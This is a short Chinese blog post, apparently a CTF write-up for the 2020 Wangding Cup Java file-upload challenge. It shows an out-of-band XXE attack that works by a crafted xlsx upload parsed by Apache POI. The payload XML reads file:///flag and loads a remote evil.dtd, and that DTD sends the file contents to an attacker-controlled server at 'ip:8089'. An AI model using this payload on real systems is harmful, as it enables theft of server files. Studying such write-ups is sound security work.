欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页

2020网鼎杯---Java文件上传wp

程序员文章站 2022-05-19 10:44:59
...

前言

一篇文章读懂Java代码审计之XXE看过我这篇博客应该不难,没看过建议在看看。


题解

下载了所有的class发现需要上传xlsx poi
开头必须是execl
2020网鼎杯---Java文件上传wp

  • 新建execl
    -1.xlsx文件,修改后缀名execl
    -1.xlsx.zip解压。
    2020网鼎杯---Java文件上传wp

  • 修改[Content-Types].xml

<!DOCTYPE ANY [
<!ENTITY % file SYSTEM "file:///flag">
<!ENTITY % remote SYSTEM "http://ip:8089/evil.dtd">
%remote;
%all;
]>
<root>&send;</root>

2020网鼎杯---Java文件上传wp

  • 重新打包成excel-1.xlsx,文件名一定不能错。

  • 在服务器上新建一个evil.etd文件。
    2020网鼎杯---Java文件上传wp

<!ENTITY % all "<!ENTITY send SYSTEM 'http://ip:8089/%file;'>">

  • 然后直接上传,查看服务器http记录。

2020网鼎杯---Java文件上传wp

2020网鼎杯---Java文件上传wp

相关标签: 安全 漏洞分析